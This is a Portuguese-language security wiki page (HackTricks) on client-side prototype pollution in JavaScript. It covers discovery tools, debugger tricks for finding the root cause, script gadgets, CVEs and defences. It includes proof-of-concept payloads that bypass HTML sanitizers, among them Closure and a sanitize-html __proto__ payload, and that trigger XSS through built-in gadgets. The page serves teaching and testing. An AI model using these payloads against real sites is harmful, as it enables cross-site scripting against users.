Poluição de Protótipo do Lado do Cliente

Reading time: 10 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Descobrindo usando Ferramentas Automáticas

As ferramentas https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap e https://github.com/kosmosec/proto-find podem ser usadas para encontrar vulnerabilidades de poluição de protótipo.

Além disso, você também pode usar a extensão do navegador PPScan para escanear automaticamente as páginas que você acessa em busca de vulnerabilidades de poluição de protótipo.

Depurando onde uma propriedade é usada

javascript
// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype, "potentialGadget", {
__proto__: null,
get() {
console.trace()
return "test"
},
})

Encontrando a causa raiz da Poluição de Protótipos

Uma vez que uma vulnerabilidade de poluição de protótipos tenha sido identificada por qualquer uma das ferramentas, e se o código não for excessivamente complexo, você pode encontrar a vulnerabilidade procurando por palavras-chave como location.hash, decodeURIComponent ou location.search nas Ferramentas de Desenvolvedor do Chrome. Essa abordagem permite que você localize a seção vulnerável do código JavaScript.

Para bases de código maiores e mais complexas, um método simples para descobrir o código vulnerável envolve os seguintes passos:

  1. Use uma ferramenta para identificar uma vulnerabilidade e obter um payload projetado para definir uma propriedade no construtor. Um exemplo fornecido pelo ppmap pode ser: constructor[prototype][ppmap]=reserved.
  2. Defina um ponto de interrupção na primeira linha do código JavaScript que será executado na página. Atualize a página com o payload, pausando a execução neste ponto de interrupção.
  3. Enquanto a execução do JavaScript estiver pausada, execute o seguinte script no console JS. Este script sinalizará quando a propriedade 'ppmap' for criada, ajudando a localizar sua origem:
javascript
function debugAccess(obj, prop, debugGet = true) {
var origValue = obj[prop]

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet) debugger
return origValue
},
set: function (val) {
debugger
origValue = val
},
})
}

debugAccess(Object.prototype, "ppmap")
  1. Navegue de volta para a aba Sources e selecione “Resume script execution”. O JavaScript continuará executando, e a propriedade 'ppmap' será poluída como esperado. Utilizar o trecho fornecido facilita a identificação do local exato onde a propriedade 'ppmap' é poluída. Ao examinar a Call Stack, diferentes pilhas onde a poluição ocorreu podem ser observadas.

Ao decidir qual pilha investigar, muitas vezes é útil direcionar-se a pilhas associadas a arquivos de bibliotecas JavaScript, pois a poluição de protótipos frequentemente ocorre dentro dessas bibliotecas. Identifique a pilha relevante examinando sua ligação a arquivos de biblioteca (visível no lado direito, semelhante a uma imagem fornecida como orientação). Em cenários com várias pilhas, como aquelas nas linhas 4 e 6, a escolha lógica é a pilha na linha 4, pois representa a ocorrência inicial da poluição e, portanto, a causa raiz da vulnerabilidade. Clicar na pilha o direcionará para o código vulnerável.

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

Encontrando Gadgets de Script

O gadget é o código que será abusado uma vez que uma vulnerabilidade de PP seja descoberta.

Se a aplicação for simples, podemos procurar por palavras-chave como srcdoc/innerHTML/iframe/createElement e revisar o código-fonte e verificar se ele leva à execução de javascript. Às vezes, as técnicas mencionadas podem não encontrar gadgets de forma alguma. Nesse caso, a revisão pura do código-fonte revela alguns bons gadgets, como o exemplo abaixo.

Exemplo de Encontrando gadget PP no código da biblioteca Mithil

Verifique este writeup: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Recompilação de payloads para bibliotecas vulneráveis

Bypass de HTML Sanitizers via PP

Esta pesquisa mostra gadgets de PP para usar para burlar as sanitizações fornecidas por algumas bibliotecas de sanitização de HTML:

  • sanitize-html
https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-7.png
  • dompurify
https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png
  • Closure
html
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Novas Ferramentas & Automação (2023–2025)

  • Burp Suite DOM Invader (v2023.6) – PortSwigger adicionou uma aba dedicada de Prototype-pollution que automaticamente muta nomes de parâmetros (por exemplo, __proto__, constructor.prototype) e detecta propriedades poluídas em pontos de sink dentro da extensão do navegador. Quando um gadget é acionado, o DOM Invader mostra a pilha de execução e a linha exata onde a propriedade foi desreferenciada, tornando a busca manual por breakpoints desnecessária. Combine-o com o snippet "Break on property access" já mostrado acima para rapidamente pivotar de source → sink.
  • protoStalker – um plug-in de código aberto do Chrome DevTools (lançado em 2024) que visualiza cadeias de protótipos em tempo real e sinaliza gravações em chaves globalmente perigosas, como onerror, innerHTML, srcdoc, id, etc. Útil quando você só tem um bundle de produção e não pode instrumentar a etapa de build.
  • ppfuzz 2.0 (2025) – a ferramenta agora suporta ES-modules, HTTP/2 e endpoints WebSocket. O novo modo -A browser inicia uma instância headless do Chromium e enumera automaticamente classes de gadgets forçando APIs do DOM (veja a seção abaixo).

Pesquisa Recente sobre Gadgets de Prototype-Pollution (2022–2025)

Em meados de 2023, pesquisadores da PortSwigger publicaram um artigo mostrando que objetos built-in do navegador podem ser transformados em gadgets XSS confiáveis uma vez poluídos. Como esses objetos estão presentes em todas as páginas, você pode obter execução mesmo que o código da aplicação alvo nunca toque na propriedade poluída.

Exemplo de gadget (funciona em todos os navegadores evergreen ≥ 2023-04):

html
<script>
// Source (e.g. https://victim/?__proto__[href]=javascript:alert(document.domain))
// For demo we just pollute manually:
Object.prototype.href = 'javascript:alert(`polluted`)' ;

// Sink – URL() constructor implicitly reads `href`
new URL('#'); // breaks into JS; in Chrome you get an alert, Firefox loads "javascript:" URL
</script>

Outros gadgets globais úteis que foram confirmados como funcionais após a poluição (testados em 2024-11):

Classe do GadgetPropriedade LidaPrimitivo alcançado
Notificationtitlealert() via clique na notificação
WorkernameExecução de JS em Worker dedicado
ImagesrcXSS tradicional onerror
URLSearchParamstoStringRedirecionamento aberto baseado em DOM

Veja o artigo da PortSwigger para a lista completa de 11 gadgets e uma discussão sobre escapes de sandbox.


CVEs Notáveis de PP do Lado do Cliente (2023-2025)

  • DOMPurify ≤ 3.0.8 – CVE-2024-45801 Um atacante poderia poluir Node.prototype.after antes da inicialização do sanitizador, contornando o perfil SAFE_FOR_TEMPLATES e levando a XSS armazenado. O fornecedor corrigiu usando verificações Object.hasOwn() e Object.create(null) para mapas internos.
  • jQuery 3.6.0-3.6.3 – CVE-2023-26136 / CVE-2023-26140 extend() poderia ser usado em objetos manipulados originados de location.hash, introduzindo propriedades arbitrárias em Object.prototype no contexto de navegação.
  • sanitize-html < 2.8.1 (2023-10) poluição de protótipo Uma lista de atributos maliciosa como {"__proto__":{"innerHTML":"<img/src/onerror=alert(1)>"}} contornou a lista de permissão.

Mesmo que a biblioteca vulnerável viva apenas no cliente, o XSS resultante ainda é explorável remotamente através de parâmetros refletidos, manipuladores de postMessage ou dados armazenados renderizados posteriormente.


Medidas Defensivas Modernas

  1. Congele o protótipo global cedo (idealmente como o primeiro script):
javascript
Object.freeze(Object.prototype);
Object.freeze(Array.prototype);
Object.freeze(Map.prototype);

Esteja ciente de que isso pode quebrar polyfills que dependem de extensões tardias. 2. Use structuredClone() em vez de JSON.parse(JSON.stringify(obj)) ou trechos de "deepMerge" da comunidade – ele ignora setters/getters e não percorre a cadeia de protótipos. 3. Quando você realmente precisar de funcionalidade de mesclagem profunda, escolha lodash ≥ 4.17.22 ou deepmerge ≥ 5.3.0 que têm saneamento de protótipo embutido. 4. Adicione uma Content-Security-Policy com script-src 'self' e um nonce estrito. Embora o CSP não impeça todos os gadgets (por exemplo, manipulação de location), ele bloqueia a maioria dos sinks de innerHTML.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks